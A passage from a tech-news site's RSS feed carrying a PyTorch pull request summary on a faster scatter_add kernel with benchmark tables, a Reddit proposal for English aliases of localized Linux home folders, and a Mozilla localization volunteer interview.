<th>scatter_add (this PR)</th>
<th>index_add (baseline)</th>
<th>speedup</th>
</tr>
</thead>
<tbody>
<tr>
<td>128 f32</td>
<td>136 us</td>
<td>265 us</td>
<td>2.0x</td>
</tr>
<tr>
<td>128 bf16</td>
<td>131 us</td>
<td>201 us</td>
<td>1.5x</td>
</tr>
<tr>
<td>1024 f32</td>
<td>927 us</td>
<td>2068 us</td>
<td>2.2x</td>
</tr>
<tr>
<td>1024 bf16</td>
<td>450 us</td>
<td>1549 us</td>
<td>3.4x</td>
</tr>
</tbody>
</table>
<p>Supported types: float32, float64, float16, bfloat16. <code>cp.reduce.async.bulk.add</code> does not support float min/max, so scatter_reduce with min/max/prod is unaffected.</p>
<h3>Test plan</h3>
<ul class="contains-task-list">
<li class="task-list-item"> Correctness verified against reference <code>scatter_add</code> for all supported dtypes and D values</li>
<li class="task-list-item"> Benchmarked high contention and uniform workloads across D=128..1024, f32/bf16</li>
<li class="task-list-item"> Pre-sm_90 fallback verified to compile and dispatch correctly (vectorized kernel with atomicAdd)</li>
<li class="task-list-item"> ROCm excluded from fast path to preserve existing warp-level atomic coalescing</li>
</ul>
<p>Authored with Claude.<br>
Pull Request resolved: <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4393157307" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/182675" data-hovercard-type="pull_request" data-hovercard-url="/pytorch/pytorch/pull/182675/hovercard" href="https://github.com/pytorch/pytorch/pull/182675">#182675</a><br>
Approved by: <a href="https://github.com/drisspg">https://github.com/drisspg</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[trunk/459f2f93092bce2b7fe05020ccb689c24cc8cda8: Vectorized scatter_add with TMA bulk reduce on sm_90+ (#182675)]]></title>
<description><![CDATA[Vectorized scatter_add with TMA bulk reduce on sm_90+
Summary
Add a fast path for scatter_add on dim=0 when self, src are contiguous and index is expanded (same eligibility as the existing vectorized_gather fast path, with roles of self/src swapped).
On sm_90+ (Hopper/Blackwell), uses cp.reduce.a...]]></description>
<link>https://tsecurity.de/de/3502177/downloads/trunk459f2f93092bce2b7fe05020ccb689c24cc8cda8-vectorized-scatteradd-with-tma-bulk-reduce-on-sm90-182675/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3502177/downloads/trunk459f2f93092bce2b7fe05020ccb689c24cc8cda8-vectorized-scatteradd-with-tma-bulk-reduce-on-sm90-182675/</guid>
<pubDate>Sat, 09 May 2026 04:17:48 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Vectorized scatter_add with TMA bulk reduce on sm_90+</h2>
<h3>Summary</h3>
<p>Add a fast path for <code>scatter_add</code> on dim=0 when self, src are contiguous and index is expanded (same eligibility as the existing <code>vectorized_gather</code> fast path, with roles of self/src swapped).</p>
<p>On sm_90+ (Hopper/Blackwell), uses <code>cp.reduce.async.bulk</code> to offload the entire accumulation to the TMA unit, avoiding the serial <code>atomicAdd</code> stall that limits both the existing <code>scatter_add</code> and <code>index_add</code> under contention. The kernel uses warp-per-slice scheduling, TMA loads (<code>cp.async.bulk.shared::cta.global</code>), double-buffered shared memory with chunking for arbitrary D, and mbarrier-based completion tracking.</p>
<p>On pre-sm_90 NVIDIA, falls back to a vectorized scatter_add kernel using <code>ld_vec&lt;16&gt;</code> + per-element <code>atomicAdd</code> with warp-per-slice packing. ROCm is excluded (has its own optimized warp-level atomic coalescing on gfx942/gfx950).</p>
<p>Also fixes a precedence bug in the existing <code>fast_gather_kernel_eligible</code> where <code>static_cast&lt;size_t&gt;(iter.strides(1)[1] == 0)</code> had the comparison inside the cast.</p>
<h3>Benchmarks (GB200, sm_100)</h3>
<p><strong>High contention</strong> (D103765236 scenario: 7.77M indices, 3.89M targeting one row, 1.72M output rows):</p>
<table>
<thead>
<tr>
<th>D</th>
<th>scatter_add (this PR)</th>
<th>index_add (baseline)</th>
<th>speedup</th>
</tr>
</thead>
<tbody>
<tr>
<td>128 f32</td>
<td>18.4 ms</td>
<td>84.0 ms</td>
<td>4.6x</td>
</tr>
<tr>
<td>128 bf16</td>
<td>17.5 ms</td>
<td>83.1 ms</td>
<td>4.7x</td>
</tr>
<tr>
<td>1024 f32</td>
<td>40.6 ms</td>
<td>170.6 ms</td>
<td>4.2x</td>
</tr>
<tr>
<td>1024 bf16</td>
<td>36.7 ms</td>
<td>165.5 ms</td>
<td>4.5x</td>
</tr>
</tbody>
</table>
<p><strong>Uniform</strong> (500K random indices, 100K output rows):</p>
<table>
<thead>
<tr>
<th>D</th>
<th>scatter_add (this PR)</th>
<th>index_add (baseline)</th>
<th>speedup</th>
</tr>
</thead>
<tbody>
<tr>
<td>128 f32</td>
<td>136 us</td>
<td>265 us</td>
<td>2.0x</td>
</tr>
<tr>
<td>128 bf16</td>
<td>131 us</td>
<td>201 us</td>
<td>1.5x</td>
</tr>
<tr>
<td>1024 f32</td>
<td>927 us</td>
<td>2068 us</td>
<td>2.2x</td>
</tr>
<tr>
<td>1024 bf16</td>
<td>450 us</td>
<td>1549 us</td>
<td>3.4x</td>
</tr>
</tbody>
</table>
<p>Supported types: float32, float64, float16, bfloat16. <code>cp.reduce.async.bulk.add</code> does not support float min/max, so scatter_reduce with min/max/prod is unaffected.</p>
<h3>Test plan</h3>
<ul class="contains-task-list">
<li class="task-list-item"> Correctness verified against reference <code>scatter_add</code> for all supported dtypes and D values</li>
<li class="task-list-item"> Benchmarked high contention and uniform workloads across D=128..1024, f32/bf16</li>
<li class="task-list-item"> Pre-sm_90 fallback verified to compile and dispatch correctly (vectorized kernel with atomicAdd)</li>
<li class="task-list-item"> ROCm excluded from fast path to preserve existing warp-level atomic coalescing</li>
</ul>
<p>Authored with Claude.<br>
Pull Request resolved: <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4393157307" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/182675" data-hovercard-type="pull_request" data-hovercard-url="/pytorch/pytorch/pull/182675/hovercard" href="https://github.com/pytorch/pytorch/pull/182675">#182675</a><br>
Approved by: <a href="https://github.com/drisspg">https://github.com/drisspg</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Proposal: Hidden English aliases / symlinks for localized XDG user directories (for terminal users in non-English locales)]]></title>
<description><![CDATA[The idea is inspired by how Windows handles known folders, and I think Linux could do it even better. When you install Linux in Japanese (or any other language), the system creates localized names for the standard XDG user directories: eg: ~/Desktop -> デスクトップ This is nice for the graphical deskto...]]></description>
<link>https://tsecurity.de/de/3502168/linux-tipps/proposal-hidden-english-aliases-symlinks-for-localized-xdg-user-directories-for-terminal-users-in-non-english-locales/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3502168/linux-tipps/proposal-hidden-english-aliases-symlinks-for-localized-xdg-user-directories-for-terminal-users-in-non-english-locales/</guid>
<pubDate>Sat, 09 May 2026 03:56:53 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>The idea is inspired by how Windows handles known folders, and I think Linux could do it even better. When you install Linux in Japanese (or any other language), the system creates localized names for the standard XDG user directories:</p> <p>eg: <code>~/Desktop</code> -&gt; <code>デスクトップ</code></p> <p>This is nice for the graphical desktop, Dolphin, Nautilus, etc. show everything in natural Japanese. But for anyone who uses the terminal, SSHes in, writes scripts, or uses TTY, it becomes a real pain.</p> <p>Long Japanese paths are cumbersome to type, tab-completion can be awkward, copying commands between machines breaks, and dealing with IME, especially if it's not set up properly ( and especially in TTY) is extra friction.</p> <p>I've thought of two possible solutions to this problem:</p> <ol> <li>Windows-style approach: the graphical file manager lies</li> </ol> <p>The actual folder on the filesystem is always in English (<code>~/Downloads</code>,<code>\~/Desktop</code>, etc.). The desktop environment and file manager then display the localized name (<code>ダウンロード</code>,<code>デスクトップ</code>, etc.) to the user.</p> <ol> <li>Hidden English symlinks/aliases approach</li> </ol> <p>Both versions exist on the filesystem: The real localized folder (<code>~/ダウンロード</code>), plus a hidden English symlink or alias <code>~/Downloads</code> that points to the same folder.</p> <p>So these both work:</p> <pre><code>cd ~/Downloads cd ~/ダウンロード </code></pre> <p>The graphical file manager only shows you the localized path.</p> <p>Addtional benefits:</p> <p>People like me who currently use English on the entire system just to avoid this annoyance might actually switch to My own language. That leads to more real-world usage and better translation contributions.</p> <p>I actually want to get the opinions of developers and other non-latin ESL linux users on this thread of if this is even possible. Or do you even want this? I know i certainly do.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/asm_lover"> /u/asm_lover </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1t6zdgb/proposal_hidden_english_aliases_symlinks_for/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1t6zdgb/proposal_hidden_english_aliases_symlinks_for/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mozilla Localization (L10N): Localizer Spotlight: Cláudio]]></title>
<description><![CDATA[About you
My name is Cláudio Esperança, I’m from Portugal. I speak Portuguese and English. I have been contributing to Mozilla localization projects for more than 18 years.
Mozilla localization
Q: How did you first get involved in localization, and what drew you to Mozilla?
A: Curiosity has alway...]]></description>
<link>https://tsecurity.de/de/3501673/tools/mozilla-localization-l10n-localizer-spotlight-cludio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3501673/tools/mozilla-localization-l10n-localizer-spotlight-cludio/</guid>
<pubDate>Fri, 08 May 2026 23:25:06 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><strong>About you</strong></p>
<p>My name is <a href="https://pontoon.mozilla.org/contributors/C3/">Cláudio Esperança</a>, I’m from Portugal. I speak Portuguese and English. I have been contributing to Mozilla localization projects for more than 18 years.</p>
<p><strong>Mozilla localization</strong></p>
<p><b><i>Q</i></b><i>: How did you first get involved in localization, and what drew you to Mozilla?</i></p>
<p><b>A: </b>Curiosity has always driven me to understand how things work. Discovering open-source software, specifically Firefox and Linux, opened a world of limitless possibilities. I saw software translation not only as a way to improve my English but also as a great opportunity to start collaborating and contributing to the Mozilla mission. I began by following the community email list, contributing translations, and attending events. Before I knew it, I was leading the Portuguese translation team.</p>
<p><b><i>Q: </i></b><i>You contribute across many projects in Pontoon. Is there a product that stands out to you? Have you shared with family and friends what you have been doing and promoting the products?</i></p>
<p><b>A: </b>Firefox is always my favorite and the browser I use most regularly, as I trust it with my personal data. However, I contribute to all projects to provide users with more people-focused, secure, and private options, in a market often dominated by other vested interests.</p>
<p>I don’t actively promote my work, as I prefer when people discover Mozilla products because they are the best solution for their needs. It may seem counterintuitive, but actually, I love when I see someone using Firefox, or another Mozilla product, not because they feel pressured by something I said, but because they’ve discovered it’s the best solution for them. It is very gratifying to know that the strings I translate are used by thousands of people every day, including family, friends, coworkers, and many other people which I probably will never know.</p>
<p><b><i>Q: </i></b><i>What have been some of the most rewarding or impactful projects you’ve localized?</i></p>
<p><b>A: </b>Firefox is undoubtedly the most impactful due to its fundamental role on the web. I also found Firefox OS particularly interesting: the concept was great, and it had great potential, but unfortunately it didn’t go as far as I would have liked. I still hope to see it reborn in some form one day.</p>
<p><b><i>Q: </i></b><i>What advice would you give to someone considering contributing to Mozilla localization today?</i></p>
<p><b>A:</b> One of the best things about L10n at Mozilla is how accessible localization has become. You don’t need to be a developer to make a difference. Whether by starting with a smaller project to build up confidence or diving straight into a high-impact application, or focus on a tool you love or explore something entirely new, the choice is yours. The most important step is simply to begin. And there’s no such thing as a ‘small’ contribution — every translated word helps to build a more inclusive internet for everyone.</p>
<p><strong>Community &amp; leadership</strong></p>
<div class="wp-caption alignright"><a href="https://blog.mozilla.org/l10n/files/2026/04/PXL_20260331_093311146.jpg"><img alt="" class="wp-image-1860 size-medium" height="452" src="https://blog.mozilla.org/l10n/files/2026/04/PXL_20260331_093311146-300x452.jpg" width="300"></a><p class="wp-caption-text">Cláudio and Kit, celebrating 18+ years of Mozilla localization.</p></div>
<p><b><i>Q:</i></b><i> How does the Portuguese localization community collaborate today?</i></p>
<p><b>A:</b> The Portuguese community is small, and we don’t have many members with recurring contributions. One of the reasons they give for this disengagement is that they feel their help isn’t needed because our translation completion rate is high (which isn’t true at all). There are other reasons like lack of time (main reason), and the fact that a large portion of the user base are pretty comfortable using software in English, Brazilian, or Spanish.</p>
<p>Regarding community communication, while we previously used various discussion groups, we now primarily communicate via email and direct contact, with most of the work happening directly on Pontoon.</p>
<p><b><i>Q: </i></b><i>You’ve been leading the team for many years. How do you approach mentorship and conflict resolution?</i></p>
<p><b>A: </b>When I started, I didn’t have a mentor, so I had to rely on Mozilla’s resources and some reverse engineering. Today, platforms like Pontoon and SUMO make the process much easier for volunteers. Regarding conflicts, like all communities, we sometimes face significant challenges regarding personality and linguistic differences. Overall, we try to maintain a positive, constructive, and inclusive attitude, where all well-founded contributions are welcome. We use a democratic process for most decisions, with a “benevolent dictator” model as a final fallback if consensus cannot be reached.</p>
<p><strong>Professional background &amp; skills</strong></p>
<p><b><i>Q: </i></b><i>What is your professional background, and how has it influenced your localization work?</i></p>
<p><b>A: </b>I have a background in software engineering (Master’s in Mobile Computing, Bachelor’s in Information Systems, technical training in TCP/IP networks, Linux, and other technologies). This experience helps me handle technical aspects of software translation like placeholder syntax, HTML tags, and technical terminology, though modern tools like Pontoon have made localization much more accessible to everyone.</p>
<p><b><i>Q: </i></b><i>How has localization influenced your professional work?</i></p>
<p><b>A: </b>Localization provides a unique perspective on applications by allowing a deeper understanding of how they work. We get to learn about the various options available in the software, sometimes hidden in the more obscure areas of the application. Unlike more traditional applications that rely on older technologies, applications developed within the Mozilla ecosystem are at the forefront of web innovation, allowing early exposure to the future of the Internet. As a software engineer, I incorporate these insights into my own projects to create more modern and user-friendly solutions.</p>
<p><b><i>Q: </i></b><i>After 18+ years, what keeps you motivated to continue contributing?</i></p>
<p><strong>A:</strong> Our mission remains unfinished. We have a responsibility to ensure the internet remains a global public resource that doesn’t require English as a barrier to entry. In an era where AI and massive platforms are consolidating power, the need for diverse alternatives has never been more urgent. Localizing Mozilla products into my native language is my way of practicing digital activism. It’s incredibly rewarding to know that a handful of translated sentences can improve the lives of so many people instantly. The mission continues…</p>
<p><strong>Interesting facts</strong></p>
<p><b><i>Q: </i></b><i>Tell us something unexpected about yourself.</i></p>
<p><b>A: </b>How someone born on an island in the Azores, who lived in half a dozen different cities in a country as small as Portugal, and who has worked as a farmer, shepherd, beekeeper, construction worker, electrician, trainer, programmer, and software engineer ended up translating world-class open-source software is a difficult story to explain. Ultimately, I think it all comes back to curiosity…</p>]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 0,51ms -->